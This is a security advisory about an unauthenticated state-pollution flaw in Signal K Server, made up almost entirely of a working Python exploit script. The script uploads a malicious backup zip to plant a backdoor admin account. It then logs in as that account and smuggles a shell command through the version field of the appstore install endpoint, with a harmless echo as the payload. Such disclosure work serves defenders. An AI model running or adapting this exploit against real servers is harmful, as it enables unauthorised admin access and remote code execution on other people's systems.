Signal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)

import requests
import zipfile
import io
import json
import time

# Configuration
TARGET_URL = "http://localhost:3000"
BACKDOOR_USER = "hacker"
BACKDOOR_PASS = "hacked1234"

def step1_plant_backdoor():
    print("[*] Step 1: Planting Backdoor via State Pollution...")
    
    # 1. Create malicious zip with security.json
    zip_buffer = io.BytesIO()
    with zipfile.ZipFile(zip_buffer, 'w') as z:
        # Add backdoor admin user
        security_config = {
            "users": [{
                "username": BACKDOOR_USER,
                "password": BACKDOOR_PASS, 
                "permissions": "admin"
            }]
        }
        z.writestr("security.json", json.dumps(security_config))
        # Enable security to make the backdoor effective
        z.writestr("settings.json", json.dumps({"security": {"strategy": "./tokensecurity"}}))
    zip_buffer.seek(0)

    # 2. Pollute State (Unauthenticated)
    print("    [+] Sending malicious backup to /validateBackup...")
    res = requests.post(f"{TARGET_URL}/skServer/validateBackup", 
                        files={'file': ('malicious.zip', zip_buffer, 'application/zip')})
    if res.status_code != 200:
        print("    [-] Failed to pollute state.")
        return False

    # 3. Trigger Restore (Hijacking)
    print("    [+] Triggering restore to overwrite server config...")
    # Note: In a real attack, if /restore is protected, attacker waits for admin to use it.
    # Here we assume we can trigger it or security is currently off.
    res = requests.post(f"{TARGET_URL}/skServer/restore", json={"security.json": True, "settings.json": True})
    
    if res.status_code in [200, 202]:
        print("    [+] Restore triggered successfully. Backdoor planted.")
        print("    [!] PLEASE RESTART THE SERVER to load the new configuration.")
        return True
    else:
        print(f"    [-] Restore failed: {res.status_code} {res.text}")
        return False

def step2_execute_rce():
    print("\n[*] Step 2: Executing RCE as Backdoor User...")
    
    # 1. Login
    session = requests.Session()
    login_payload = {"username": BACKDOOR_USER, "password": BACKDOOR_PASS}
    res = session.post(f"{TARGET_URL}/signalk/v1/auth/login", json=login_payload)
    
    if res.status_code != 200:
        print("    [-] Login failed. Did you restart the server?")
        return
    
    token = res.json()['token']
    print("    [+] Login successful. Authenticated as Admin.")

    # 2. RCE Payload (Windows Example)
    # Injecting command into version parameter of npm install
    # Command: echo RCE_SUCCESS > rce_proof.txt
    cmd_payload = "1.0.0 & echo RCE_SUCCESS > rce_proof.txt &"
    
    # We need a valid package name to bypass existence check
    package_name = "@signalk/freeboard-sk" 
    
    print(f"    [+] Sending RCE payload: {cmd_payload}")
    headers = {'Authorization': f'Bearer {token}'}
    try:
        session.post(f"{TARGET_URL}/skServer/appstore/install/{package_name}/{cmd_payload}", 
                     headers=headers, timeout=5)
    except:
        pass # Timeout is expected as the command might hang or take time

    print("    [+] Payload sent. Check for 'rce_proof.txt' in server root.")

if __name__ == "__main__":
    # Run Step 1, then restart server manually, then Run Step 2
    # step1_plant_backdoor()
    step2_execute_rce()